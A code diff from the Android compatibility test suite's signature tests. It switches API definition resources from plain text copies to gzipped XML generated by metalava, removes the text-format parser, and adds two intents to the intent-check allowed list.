--- a/tests/signature/api-check/android-test-mock-current-api/AndroidTest.xml
+++ b/tests/signature/api-check/android-test-mock-current-api/AndroidTest.xml
@@ -27,7 +27,7 @@
         <option name="package" value="android.signature.cts.api.android_test_mock_current" />
         <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
         <option name="class" value="android.signature.cts.api.current.mock.SignatureTest" />
-        <option name="instrumentation-arg" key="expected-api-files" value="android-test-mock-current.txt" />
+        <option name="instrumentation-arg" key="expected-api-files" value="android-test-mock-current.api.gz" />
         <option name="runtime-hint" value="5s" />
     </test>
 </configuration>
diff --git a/tests/signature/api-check/android-test-runner-current-api/Android.bp b/tests/signature/api-check/android-test-runner-current-api/Android.bp
index 84ba5e9..80d2803 100644
--- a/tests/signature/api-check/android-test-runner-current-api/Android.bp
+++ b/tests/signature/api-check/android-test-runner-current-api/Android.bp
@@ -18,9 +18,9 @@
         "signature-api-check-defaults",
     ],
     java_resources: [
-        ":cts-android-test-base-current-txt",
-        ":cts-android-test-mock-current-txt",
-        ":cts-android-test-runner-current-txt",
+        ":cts-android-test-base-current-api-gz",
+        ":cts-android-test-mock-current-api-gz",
+        ":cts-android-test-runner-current-api-gz",
     ],
 
     use_embedded_native_libs: false,
diff --git a/tests/signature/api-check/android-test-runner-current-api/AndroidTest.xml b/tests/signature/api-check/android-test-runner-current-api/AndroidTest.xml
index 1c6ed19..5c18209 100644
--- a/tests/signature/api-check/android-test-runner-current-api/AndroidTest.xml
+++ b/tests/signature/api-check/android-test-runner-current-api/AndroidTest.xml
@@ -27,7 +27,7 @@
         <option name="package" value="android.signature.cts.api.android_test_runner_current" />
         <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
         <option name="class" value="android.signature.cts.api.current.runner.SignatureTest" />
-        <option name="instrumentation-arg" key="expected-api-files" value="android-test-base-current.txt,android-test-mock-current.txt,android-test-runner-current.txt" />
+        <option name="instrumentation-arg" key="expected-api-files" value="android-test-base-current.api.gz,android-test-mock-current.api.gz,android-test-runner-current.api.gz" />
         <option name="runtime-hint" value="5s" />
     </test>
 </configuration>
diff --git a/tests/signature/api-check/apache-http-legacy-27-api/Android.bp b/tests/signature/api-check/apache-http-legacy-27-api/Android.bp
index 13e99d0..d649145 100644
--- a/tests/signature/api-check/apache-http-legacy-27-api/Android.bp
+++ b/tests/signature/api-check/apache-http-legacy-27-api/Android.bp
@@ -18,8 +18,8 @@
         "signature-api-check-defaults",
     ],
     java_resources: [
-        ":cts-current-txt",
-        ":cts-apache-http-legacy-current-txt",
+        ":cts-current-api-gz",
+        ":cts-apache-http-legacy-current-api-gz",
     ],
     min_sdk_version: "27",
 
diff --git a/tests/signature/api-check/apache-http-legacy-27-api/AndroidTest.xml b/tests/signature/api-check/apache-http-legacy-27-api/AndroidTest.xml
index f308253..ff5cff8 100644
--- a/tests/signature/api-check/apache-http-legacy-27-api/AndroidTest.xml
+++ b/tests/signature/api-check/apache-http-legacy-27-api/AndroidTest.xml
@@ -27,8 +27,8 @@
         <option name="package" value="android.signature.cts.api.apache_http_legacy_27" />
         <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
         <option name="class" value="android.signature.cts.api.api27.http.SignatureTest" />
-        <option name="instrumentation-arg" key="base-api-files" value="current.txt" />
-        <option name="instrumentation-arg" key="expected-api-files" value="apache-http-legacy-current.txt" />
+        <option name="instrumentation-arg" key="base-api-files" value="current.api.gz" />
+        <option name="instrumentation-arg" key="expected-api-files" value="apache-http-legacy-current.api.gz" />
         <option name="runtime-hint" value="5s" />
     </test>
 </configuration>
diff --git a/tests/signature/api-check/apache-http-legacy-current-api/Android.bp b/tests/signature/api-check/apache-http-legacy-current-api/Android.bp
index bf778fc..ffda5cc 100644
--- a/tests/signature/api-check/apache-http-legacy-current-api/Android.bp
+++ b/tests/signature/api-check/apache-http-legacy-current-api/Android.bp
@@ -18,7 +18,7 @@
         "signature-api-check-defaults",
     ],
     java_resources: [
-        ":cts-apache-http-legacy-current-txt",
+        ":cts-apache-http-legacy-current-api-gz",
     ],
 
     use_embedded_native_libs: false,
diff --git a/tests/signature/api-check/apache-http-legacy-current-api/AndroidTest.xml b/tests/signature/api-check/apache-http-legacy-current-api/AndroidTest.xml
index 3fa2220..5b15e41 100644
--- a/tests/signature/api-check/apache-http-legacy-current-api/AndroidTest.xml
+++ b/tests/signature/api-check/apache-http-legacy-current-api/AndroidTest.xml
@@ -27,7 +27,7 @@
         <option name="package" value="android.signature.cts.api.apache_http_legacy_current" />
         <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
         <option name="class" value="android.signature.cts.api.current.http.SignatureTest" />
-        <option name="instrumentation-arg" key="unexpected-api-files" value="apache-http-legacy-current.txt" />
+        <option name="instrumentation-arg" key="unexpected-api-files" value="apache-http-legacy-current.api.gz" />
         <option name="runtime-hint" value="5s" />
     </test>
 </configuration>
diff --git a/tests/signature/api-check/apache-http-legacy-uses-library-api/Android.bp b/tests/signature/api-check/apache-http-legacy-uses-library-api/Android.bp
index 5d7a473..f811f85 100644
--- a/tests/signature/api-check/apache-http-legacy-uses-library-api/Android.bp
+++ b/tests/signature/api-check/apache-http-legacy-uses-library-api/Android.bp
@@ -18,8 +18,8 @@
         "signature-api-check-defaults",
     ],
     java_resources: [
-        ":cts-current-txt",
-        ":cts-apache-http-legacy-current-txt",
+        ":cts-current-api-gz",
+        ":cts-apache-http-legacy-current-api-gz",
     ],
 
     use_embedded_native_libs: false,
diff --git a/tests/signature/api-check/apache-http-legacy-uses-library-api/AndroidTest.xml b/tests/signature/api-check/apache-http-legacy-uses-library-api/AndroidTest.xml
index 0c75fa6..7216d25 100644
--- a/tests/signature/api-check/apache-http-legacy-uses-library-api/AndroidTest.xml
+++ b/tests/signature/api-check/apache-http-legacy-uses-library-api/AndroidTest.xml
@@ -27,8 +27,8 @@
         <option name="package" value="android.signature.cts.api.apache_http_legacy_uses_library" />
         <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
         <option name="class" value="android.signature.cts.api.http_uses_library.SignatureTest" />
-        <option name="instrumentation-arg" key="base-api-files" value="current.txt" />
-        <option name="instrumentation-arg" key="expected-api-files" value="apache-http-legacy-current.txt" />
+        <option name="instrumentation-arg" key="base-api-files" value="current.api.gz" />
+        <option name="instrumentation-arg" key="expected-api-files" value="apache-http-legacy-current.api.gz" />
         <option name="runtime-hint" value="5s" />
     </test>
 </configuration>
diff --git a/tests/signature/api-check/current-api/Android.bp b/tests/signature/api-check/current-api/Android.bp
index 1e867d9..61656c3 100644
--- a/tests/signature/api-check/current-api/Android.bp
+++ b/tests/signature/api-check/current-api/Android.bp
@@ -18,10 +18,10 @@
         "signature-api-check-defaults",
     ],
     java_resources: [
-        ":cts-current-txt",
-        ":cts-android-test-base-current-txt",
-        ":cts-android-test-mock-current-txt",
-        ":cts-android-test-runner-current-txt",
+        ":cts-current-api-gz",
+        ":cts-android-test-base-current-api-gz",
+        ":cts-android-test-mock-current-api-gz",
+        ":cts-android-test-runner-current-api-gz",
     ],
 
     use_embedded_native_libs: false,
diff --git a/tests/signature/api-check/current-api/AndroidTest.xml b/tests/signature/api-check/current-api/AndroidTest.xml
index 421306f..f14a503 100644
--- a/tests/signature/api-check/current-api/AndroidTest.xml
+++ b/tests/signature/api-check/current-api/AndroidTest.xml
@@ -28,8 +28,8 @@
         <option name="package" value="android.signature.cts.api.current" />
         <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
         <option name="class" value="android.signature.cts.api.current.SignatureTest" />
-        <option name="instrumentation-arg" key="expected-api-files" value="current.txt" />
-        <option name="instrumentation-arg" key="unexpected-api-files" value="android-test-base-current.txt,android-test-mock-current.txt,android-test-runner-current.txt" />
+        <option name="instrumentation-arg" key="expected-api-files" value="current.api.gz" />
+        <option name="instrumentation-arg" key="unexpected-api-files" value="android-test-base-current.api.gz,android-test-mock-current.api.gz,android-test-runner-current.api.gz" />
         <option name="runtime-hint" value="30s" />
     </test>
 </configuration>
diff --git a/tests/signature/api-check/shared-libs-api/Android.mk b/tests/signature/api-check/shared-libs-api/Android.mk
index d921e6b..92c66d1 100644
--- a/tests/signature/api-check/shared-libs-api/Android.mk
+++ b/tests/signature/api-check/shared-libs-api/Android.mk
@@ -22,13 +22,13 @@
   $(foreach api_level,public system,\
     $(foreach lib,$(filter-out android,$(filter-out %removed,$(filter-out incompatibilities,\
       $(basename $(notdir $(wildcard $(HISTORICAL_SDK_VERSIONS_ROOT)/$(ver)/$(api_level)/api/*.txt)))))),\
-        $(eval all_shared_libs_modules += $(lib)-$(ver)-$(api_level).txt))))
+        $(eval all_shared_libs_modules += $(lib)-$(ver)-$(api_level).api))))
 
 all_shared_libs_files := $(addprefix $(COMPATIBILITY_TESTCASES_OUT_cts)/,$(all_shared_libs_modules))
 
 include $(CLEAR_VARS)
-LOCAL_MODULE := cts-shared-libs-all.txt
-LOCAL_MODULE_STEM := shared-libs-all.txt.zip
+LOCAL_MODULE := cts-shared-libs-all.api
+LOCAL_MODULE_STEM := shared-libs-all.api.zip
 LOCAL_MODULE_CLASS := ETC
 LOCAL_MODULE_PATH = $(TARGET_OUT_DATA_ETC)
 include $(BUILD_SYSTEM)/base_rules.mk
diff --git a/tests/signature/api-check/shared-libs-api/AndroidTest.xml b/tests/signature/api-check/shared-libs-api/AndroidTest.xml
index d6cc7fc..a679079 100644
--- a/tests/signature/api-check/shared-libs-api/AndroidTest.xml
+++ b/tests/signature/api-check/shared-libs-api/AndroidTest.xml
@@ -27,7 +27,7 @@
         <option name="package" value="android.signature.cts.api.shared_libs" />
         <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
         <option name="class" value="android.signature.cts.api.SignatureMultiLibsTest" />
-        <option name="instrumentation-arg" key="expected-api-files" value="shared-libs-all.txt.zip" />
+        <option name="instrumentation-arg" key="expected-api-files" value="shared-libs-all.api.zip" />
         <option name="runtime-hint" value="30s" />
     </test>
 </configuration>
diff --git a/tests/signature/api-check/system-annotation/Android.bp b/tests/signature/api-check/system-annotation/Android.bp
index d328107..6b63792 100644
--- a/tests/signature/api-check/system-annotation/Android.bp
+++ b/tests/signature/api-check/system-annotation/Android.bp
@@ -21,10 +21,10 @@
         "compatibility-device-util-axt",
     ],
     java_resources: [
-        ":cts-system-current-txt",
-        ":cts-system-removed-txt",
-        ":cts-car-system-current-txt",
-        ":cts-car-system-removed-txt",
+        ":cts-system-current-api-gz",
+        ":cts-system-removed-api-gz",
+        ":cts-car-system-current-api-gz",
+        ":cts-car-system-removed-api-gz",
     ],
     min_sdk_version: "27",
 
diff --git a/tests/signature/api-check/system-annotation/AndroidTest.xml b/tests/signature/api-check/system-annotation/AndroidTest.xml
index 816ff81..4a61a40 100644
--- a/tests/signature/api-check/system-annotation/AndroidTest.xml
+++ b/tests/signature/api-check/system-annotation/AndroidTest.xml
@@ -27,7 +27,7 @@
         <option name="package" value="android.signature.cts.api.system_annotation" />
         <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
         <option name="class" value="android.signature.cts.api.AnnotationTest" />
-        <option name="instrumentation-arg" key="expected-api-files" value="system-current.txt,system-removed.txt,car-system-current.txt,car-system-removed.txt" />
+        <option name="instrumentation-arg" key="expected-api-files" value="system-current.api.gz,system-removed.api.gz,car-system-current.api.gz,car-system-removed.api.gz" />
         <option name="instrumentation-arg" key="annotation-for-exact-match" value="@android.annotation.SystemApi\(client=PRIVILEGED_APPS\)" />
         <option name="runtime-hint" value="30s" />
     </test>
diff --git a/tests/signature/api-check/system-api/Android.mk b/tests/signature/api-check/system-api/Android.mk
index 2c577ca..b633daa 100644
--- a/tests/signature/api-check/system-api/Android.mk
+++ b/tests/signature/api-check/system-api/Android.mk
@@ -18,15 +18,15 @@
 $(foreach ver,$(PLATFORM_SYSTEMSDK_VERSIONS),\
   $(if $(call math_is_number,$(ver)),\
     $(if $(wildcard prebuilts/sdk/$(ver)/system/api/android.txt),\
-      $(eval all_system_api_modules += system-$(ver).txt)\
+      $(eval all_system_api_modules += system-$(ver).api)\
     )\
   )\
 )
 all_system_api_files := $(addprefix $(COMPATIBILITY_TESTCASES_OUT_cts)/,$(all_system_api_modules))
 
 include $(CLEAR_VARS)
-LOCAL_MODULE := cts-system-all.txt
-LOCAL_MODULE_STEM := system-all.txt.zip
+LOCAL_MODULE := cts-system-all.api
+LOCAL_MODULE_STEM := system-all.api.zip
 LOCAL_MODULE_CLASS := ETC
 LOCAL_MODULE_PATH = $(TARGET_OUT_DATA_ETC)
 LOCAL_COMPATIBILITY_SUITE := arcts cts vts10 general-tests
@@ -48,11 +48,11 @@
 LOCAL_JAVA_RESOURCE_FILES := $(all_system_api_zip_file)
 
 LOCAL_SIGNATURE_API_FILES := \
-    current.txt \
-    android-test-mock-current.txt \
-    android-test-runner-current.txt \
-    system-current.txt \
-    system-removed.txt \
+    current.api.gz \
+    android-test-mock-current.api.gz \
+    android-test-runner-current.api.gz \
+    system-current.api.gz \
+    system-removed.api.gz \
 
 include $(LOCAL_PATH)/../build_signature_apk.mk
 
diff --git a/tests/signature/api-check/system-api/AndroidTest.xml b/tests/signature/api-check/system-api/AndroidTest.xml
index 646338e..904dce1 100644
--- a/tests/signature/api-check/system-api/AndroidTest.xml
+++ b/tests/signature/api-check/system-api/AndroidTest.xml
@@ -27,9 +27,9 @@
         <option name="package" value="android.signature.cts.api.system" />
         <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
         <option name="class" value="android.signature.cts.api.system.SignatureTest" />
-        <option name="instrumentation-arg" key="base-api-files" value="current.txt" />
-        <option name="instrumentation-arg" key="expected-api-files" value="system-current.txt,system-removed.txt,system-all.txt.zip" />
-        <option name="instrumentation-arg" key="unexpected-api-files" value="android-test-mock-current.txt,android-test-runner-current.txt" />
+        <option name="instrumentation-arg" key="base-api-files" value="current.api.gz" />
+        <option name="instrumentation-arg" key="expected-api-files" value="system-current.api.gz,system-removed.api.gz,system-all.api.zip" />
+        <option name="instrumentation-arg" key="unexpected-api-files" value="android-test-mock-current.api.gz,android-test-runner-current.api.gz" />
         <option name="runtime-hint" value="30s" />
     </test>
 </configuration>
diff --git a/tests/signature/api/Android.bp b/tests/signature/api/Android.bp
index 8c3e12a..b177f21 100644
--- a/tests/signature/api/Android.bp
+++ b/tests/signature/api/Android.bp
@@ -12,115 +12,111 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-default_visibility = [
-    "//cts/tests/signature/api-check:__subpackages__",
-    "//cts/tests/signature/intent-check",
-]
+genrule_defaults {
+    name: "signature-cts-api-api-gz",
+    cmd: "$(location metalava) --no-banner --compatible-output=no -convert2xmlnostrip $(in) $(genDir)/api.xml && gzip -c $(genDir)/api.xml > $(out)",
+    tools: ["metalava"],
+    visibility: [
+        "//cts/tests/signature/api-check:__subpackages__",
+        "//cts/tests/signature/intent-check",
+    ],
+}
 
 genrule {
-    name: "cts-current-txt",
-    visibility: default_visibility,
+    name: "cts-current-api-gz",
+    defaults: ["signature-cts-api-api-gz"],
     srcs: [
         ":frameworks-base-api-current.txt",
     ],
     out: [
-        "current.txt",
+        "current.api.gz",
     ],
-    cmd: "cp $(in) $(out)",
 }
 
 genrule {
-    name: "cts-system-current-txt",
-    visibility: default_visibility,
+    name: "cts-system-current-api-gz",
+    defaults: ["signature-cts-api-api-gz"],
     srcs: [
         ":frameworks-base-api-system-current.txt",
     ],
     out: [
-        "system-current.txt",
+        "system-current.api.gz",
     ],
-    cmd: "cp $(in) $(out)",
 }
 
 genrule {
-    name: "cts-system-removed-txt",
-    visibility: default_visibility,
+    name: "cts-system-removed-api-gz",
+    defaults: ["signature-cts-api-api-gz"],
     srcs: [
         ":frameworks-base-api-system-removed.txt",
     ],
     out: [
-        "system-removed.txt",
+        "system-removed.api.gz",
     ],
-    cmd: "cp $(in) $(out)",
 }
 
 genrule {
-    name: "cts-android-test-base-current-txt",
-    visibility: default_visibility,
+    name: "cts-android-test-base-current-api-gz",
+    defaults: ["signature-cts-api-api-gz"],
     srcs: [
         ":android-test-base-current.txt",
     ],
     out: [
-        "android-test-base-current.txt",
+        "android-test-base-current.api.gz",
     ],
-    cmd: "cp $(in) $(out)",
 }
 
 genrule {
-    name: "cts-android-test-mock-current-txt",
-    visibility: default_visibility,
+    name: "cts-android-test-mock-current-api-gz",
+    defaults: ["signature-cts-api-api-gz"],
     srcs: [
         ":android-test-mock-current.txt",
     ],
     out: [
-        "android-test-mock-current.txt",
+        "android-test-mock-current.api.gz",
     ],
-    cmd: "cp $(in) $(out)",
 }
 
 genrule {
-    name: "cts-android-test-runner-current-txt",
-    visibility: default_visibility,
+    name: "cts-android-test-runner-current-api-gz",
+    defaults: ["signature-cts-api-api-gz"],
     srcs: [
         ":android-test-runner-current.txt",
     ],
     out: [
-        "android-test-runner-current.txt",
+        "android-test-runner-current.api.gz",
     ],
-    cmd: "cp $(in) $(out)",
 }
 
 genrule {
-    name: "cts-apache-http-legacy-current-txt",
-    visibility: default_visibility,
+    name: "cts-apache-http-legacy-current-api-gz",
+    defaults: ["signature-cts-api-api-gz"],
     srcs: [
         ":apache-http-legacy-current.txt",
     ],
     out: [
-        "apache-http-legacy-current.txt",
+        "apache-http-legacy-current.api.gz",
     ],
-    cmd: "cp $(in) $(out)",
 }
 
 genrule {
-    name: "cts-car-system-current-txt",
-    visibility: default_visibility,
+    name: "cts-car-system-current-api-gz",
+    defaults: ["signature-cts-api-api-gz"],
     srcs: [
         ":car-api-system-current.txt",
     ],
     out: [
-        "car-system-current.txt",
+        "car-system-current.api.gz",
     ],
-    cmd: "cp $(in) $(out)",
 }
 
 genrule {
-    name: "cts-car-system-removed-txt",
-    visibility: default_visibility,
+    name: "cts-car-system-removed-api-gz",
+    defaults: ["signature-cts-api-api-gz"],
     srcs: [
         ":car-api-system-removed.txt",
     ],
     out: [
-        "car-system-removed.txt",
+        "car-system-removed.api.gz",
     ],
-    cmd: "cp $(in) $(out)",
 }
diff --git a/tests/signature/api/Android.mk b/tests/signature/api/Android.mk
index e832b8f..af99a5b 100644
--- a/tests/signature/api/Android.mk
+++ b/tests/signature/api/Android.mk
@@ -16,24 +16,25 @@
 
 LOCAL_PATH := $(call my-dir)
 
-# $(1) name of the txt file to be created
+# $(1) name of the xml file to be created
 # $(2) path to the api text file
-define copy_api_txt_file
+define build_xml_api_file
 include $(CLEAR_VARS)
 LOCAL_MODULE := cts-$(subst .,-,$(1))
 LOCAL_MODULE_STEM := $(1)
 LOCAL_MODULE_CLASS := ETC
-LOCAL_COMPATIBILITY_SUITE := arcts cts vts10 general-tests
+LOCAL_COMPATIBILITY_SUITE := arcts cts vts general-tests
 include $(BUILD_SYSTEM)/base_rules.mk
 $$(LOCAL_BUILT_MODULE): $(2) | $(APICHECK)
-	@echo "Copying API file $$< -> $$@"
-	$$(copy-file-to-target)
+	@echo "Convert API file $$< -> $$@"
+	@mkdir -p $$(dir $$@)
+	$(hide) $(APICHECK_COMMAND) --compatible-output=no -convert2xmlnostrip $$< $$@
 endef
 
 $(foreach ver,$(PLATFORM_SYSTEMSDK_VERSIONS),\
   $(if $(call math_is_number,$(ver)),\
     $(if $(wildcard prebuilts/sdk/$(ver)/system/api/android.txt),\
-      $(eval $(call copy_api_txt_file,system-$(ver).txt,prebuilts/sdk/$(ver)/system/api/android.txt))\
+      $(eval $(call build_xml_api_file,system-$(ver).api,prebuilts/sdk/$(ver)/system/api/android.txt))\
     )\
   )\
 )
@@ -42,4 +43,7 @@
   $(foreach api_level,public system,\
     $(foreach lib,$(filter-out android,$(filter-out %removed,$(filter-out incompatibilities,\
       $(basename $(notdir $(wildcard $(HISTORICAL_SDK_VERSIONS_ROOT)/$(ver)/$(api_level)/api/*.txt)))))),\
-        $(eval $(call copy_api_txt_file,$(lib)-$(ver)-$(api_level).txt,prebuilts/sdk/$(ver)/$(api_level)/api/$(lib).txt)))))
+        $(eval $(call build_xml_api_file,$(lib)-$(ver)-$(api_level).api,prebuilts/sdk/$(ver)/$(api_level)/api/$(lib).txt)) \
+    )\
+  )\
+)
diff --git a/tests/signature/intent-check/Android.bp b/tests/signature/intent-check/Android.bp
index f6ec58c..82fb79e 100644
--- a/tests/signature/intent-check/Android.bp
+++ b/tests/signature/intent-check/Android.bp
@@ -18,9 +18,9 @@
 
     srcs: ["src/**/*.java"],
     java_resources: [
-        ":cts-current-txt",
-        ":cts-system-current-txt",
-        ":cts-system-removed-txt",
+        ":cts-current-api-gz",
+        ":cts-system-current-api-gz",
+        ":cts-system-removed-api-gz",
     ],
 
     // Tag this module as a cts test artifact
diff --git a/tests/signature/intent-check/DynamicConfig.xml b/tests/signature/intent-check/DynamicConfig.xml
index 6c7aace..4dc7b8a 100644
--- a/tests/signature/intent-check/DynamicConfig.xml
+++ b/tests/signature/intent-check/DynamicConfig.xml
@@ -23,6 +23,8 @@
     Bug: 78574873 android.intent.action.INSTALL_EPHEMERAL_PACKAGE
     Bug: 78574873 android.intent.action.RESOLVE_EPHEMERAL_PACKAGE
     Bug: 78574873 android.intent.action.EPHEMERAL_RESOLVER_SETTINGS
+    Bug: 150153196 android.intent.action.LOAD_DATA (system in API 30)
+    Bug: 150153196 android.intent.action.PACKAGE_UNSUSPENDED_MANUALLY (system in API 30)
 -->
 <dynamicConfig>
     <entry key ="intent_whitelist">
@@ -34,5 +36,7 @@
       <value>android.intent.action.INSTALL_EPHEMERAL_PACKAGE</value>
       <value>android.intent.action.RESOLVE_EPHEMERAL_PACKAGE</value>
       <value>android.intent.action.EPHEMERAL_RESOLVER_SETTINGS</value>
+      <value>android.intent.action.LOAD_DATA</value>
+      <value>android.intent.action.PACKAGE_UNSUSPENDED_MANUALLY</value>
     </entry>
 </dynamicConfig>
diff --git a/tests/signature/intent-check/src/android/signature/cts/intent/IntentTest.java b/tests/signature/intent-check/src/android/signature/cts/intent/IntentTest.java
index 0195dc4..efd574e 100644
--- a/tests/signature/intent-check/src/android/signature/cts/intent/IntentTest.java
+++ b/tests/signature/intent-check/src/android/signature/cts/intent/IntentTest.java
@@ -48,11 +48,11 @@
 @RunWith(AndroidJUnit4.class)
 public class IntentTest {
 
-    private static final String CURRENT_API_RESOURCE = "current.txt";
+    private static final String CURRENT_API_RESOURCE = "current.api.gz";
 
-    private static final String SYSTEM_CURRENT_API_RESOURCE = "system-current.txt";
+    private static final String SYSTEM_CURRENT_API_RESOURCE = "system-current.api.gz";
 
-    private static final String SYSTEM_REMOVED_API_RESOURCE = "system-removed.txt";
+    private static final String SYSTEM_REMOVED_API_RESOURCE = "system-removed.api.gz";
 
     private static final String TAG = IntentTest.class.getSimpleName();
 
diff --git a/tests/signature/lib/android/Android.bp b/tests/signature/lib/android/Android.bp
index 7b0e679..546190a 100644
--- a/tests/signature/lib/android/Android.bp
+++ b/tests/signature/lib/android/Android.bp
@@ -24,7 +24,6 @@
     ],
     static_libs: [
         "signature-common-javalib",
-        "metalava",
     ],
     sdk_version: "current",
 }
diff --git a/tests/signature/lib/android/src/android/signature/cts/ApiDocumentParser.java b/tests/signature/lib/android/src/android/signature/cts/ApiDocumentParser.java
index 78027d4..70e3665 100644
--- a/tests/signature/lib/android/src/android/signature/cts/ApiDocumentParser.java
+++ b/tests/signature/lib/android/src/android/signature/cts/ApiDocumentParser.java
@@ -34,9 +34,14 @@
 
     private ApiParser getApiParser(VirtualPath path) {
         if (path.toString().endsWith(".txt")) {
-            return new TextApiParser();
+            // At one point we used the "text" signature format in this test, but we stopped doing
+            // it because we don't want metalava to be used as a library, especially
+            // on the device side.
+            throw new RuntimeException("Signature format not supported");
         } else if (path.toString().endsWith(".api")) {
-            return new XmlApiParser(tag);
+            return new XmlApiParser(tag, /*gzipped=*/ false);
+        } else if (path.toString().endsWith(".api.gz")) {
+            return new XmlApiParser(tag, /*gzipped=*/ true);
         } else {
             throw new IllegalStateException("Unrecognized file type: " + path);
         }
diff --git a/tests/signature/lib/android/src/android/signature/cts/KtHelper.kt b/tests/signature/lib/android/src/android/signature/cts/KtHelper.kt
deleted file mode 100644
index 4d2fade..0000000
--- a/tests/signature/lib/android/src/android/signature/cts/KtHelper.kt
+++ /dev/null
@@ -1,36 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-@file:JvmName("KtHelper")
-package android.signature.cts
-
-import com.android.tools.metalava.model.TypeItem
-
-/**
- * Allows Java to call the TypeItem.toTypeString() without having to explicitly specify each named
- * parameter to its default. This allows additional parameters to be added to the method without
- * breaking the Java code.
- */
-fun toDefaultTypeString(item: TypeItem): String {
-    // Normalize the strings to contain , without a following space. This is needed because
-    // different versions of the txt specification used different separators in generic types, some
-    // used "," and some used ", " and metalava does not normalize them. e.g. some files will format
-    // a Map from String to Integer as "java.util.Map<java.lang.String,java.lang.Integer>" and some
-    // will format it as "java.util.Map<java.lang.String, java.lang.Integer>".
-    //
-    // Must match separator used in android.signature.cts.ReflectionHelper.typeToString.
-    return item.toTypeString().replace(", ", ",")
-}
diff --git a/tests/signature/lib/android/src/android/signature/cts/TextApiParser.java b/tests/signature/lib/android/src/android/signature/cts/TextApiParser.java
deleted file mode 100644
index 26ac862..0000000
--- a/tests/signature/lib/android/src/android/signature/cts/TextApiParser.java
+++ /dev/null
@@ -1,191 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.signature.cts;
-
-import android.signature.cts.JDiffClassDescription.JDiffConstructor;
-import android.signature.cts.JDiffClassDescription.JDiffField;
-import android.signature.cts.JDiffClassDescription.JDiffMethod;
-import com.android.tools.metalava.doclava1.ApiFile;
-import com.android.tools.metalava.doclava1.ApiParseException;
-import com.android.tools.metalava.doclava1.TextCodebase;
-import com.android.tools.metalava.model.ClassItem;
-import com.android.tools.metalava.model.ConstructorItem;
-import com.android.tools.metalava.model.FieldItem;
-import com.android.tools.metalava.model.Item;
-import com.android.tools.metalava.model.MethodItem;
-import com.android.tools.metalava.model.ModifierList;
-import com.android.tools.metalava.model.PackageItem;
-import com.android.tools.metalava.model.ParameterItem;
-import com.android.tools.metalava.model.TypeItem;
-import java.io.BufferedReader;
-import java.io.IOException;
-import java.io.InputStreamReader;
-import java.lang.reflect.Modifier;
-import java.util.List;
-import java.util.Objects;
-import java.util.stream.Collectors;
-import java.util.stream.Stream;
-import kotlin.streams.jdk8.StreamsKt;
-
-/**
- * Parser for the text representation of an API specification.
- */
-public class TextApiParser extends ApiParser {
-
-    @Override
-    public Stream<JDiffClassDescription> parseAsStream(VirtualPath path) {
-        try {
-            String content = new BufferedReader(new InputStreamReader(path.newInputStream()))
-                    .lines()
-                    .parallel()
-                    .collect(Collectors.joining("\n"));
-            TextCodebase codebase = ApiFile.parseApi(path.toString(), content, false);
-            List<PackageItem> packages = codebase.getPackages().getPackages();
-            return packages.stream()
-                    // Map each package to the Sequence of ClassItems that it contains
-                    .map(PackageItem::allClasses)
-                    // Flatten the Sequences of ClassItems into one stream.
-                    .flatMap(StreamsKt::asStream)
-                    // Filter out TextClassItems that are used from but not defined in the source.
-                    .filter(ClassItem::isDefined)
-                    .map(TextApiParser::convertClass);
-        } catch (IOException | ApiParseException e) {
-            throw new RuntimeException("Could not parse " + path, e);
-        }
-    }
-
-    private static JDiffClassDescription convertClass(ClassItem item) {
-        String pkg = item.containingPackage().qualifiedName();
-
-        JDiffClassDescription currentClass = new JDiffClassDescription(pkg, item.fullName());
-
-        int modifiers = getModifiers(item);
-
-        currentClass.setModifier(modifiers);
-        currentClass.setType(item.isInterface() ? JDiffClassDescription.JDiffType.INTERFACE :
-                JDiffClassDescription.JDiffType.CLASS);
-
-        // Map the super class.
-        ClassItem superClass = item.superClass();
-        if (superClass != null) {
-            String extendsClass = superClass.qualifiedName();
-            if (item.isInterface()) {
-                // TextCodebase treats an interface as if it extends java.lang.Object.
-                if (!superClass.isJavaLangObject()) {
-                    currentClass.addImplInterface(extendsClass);
-                }
-            } else {
-                currentClass.setExtendsClass(extendsClass);
-            }
-        }
-
-        // Map the interfaces.
-        item.interfaceTypes().stream()
-                .map(TypeItem::asClass)
-                .filter(Objects::nonNull)
-                .map(ClassItem::qualifiedName)
-                .forEach(currentClass::addImplInterface);
-
-        item.fields().stream().map(TextApiParser::convertField).forEach(currentClass::addField);
-
-        item.constructors().stream()
-                .map(TextApiParser::convertConstructor)
-                .forEach(currentClass::addConstructor);
-
-        item.methods().stream()
-                .map(TextApiParser::convertMethod)
-                .forEach(currentClass::addMethod);
-
-        return currentClass;
-    }
-
-    private static int getModifiers(Item item) {
-        ModifierList modifierList = item.getModifiers();
-        int modifiers = 0;
-        if (modifierList.isAbstract()) {
-            modifiers |= Modifier.ABSTRACT;
-        }
-        if (modifierList.isFinal()) {
-            modifiers |= Modifier.FINAL;
-        }
-        if (modifierList.isNative()) {
-            modifiers |= Modifier.NATIVE;
-        }
-        if (modifierList.isStatic()) {
-            modifiers |= Modifier.STATIC;
-        }
-        if (modifierList.isSynchronized()) {
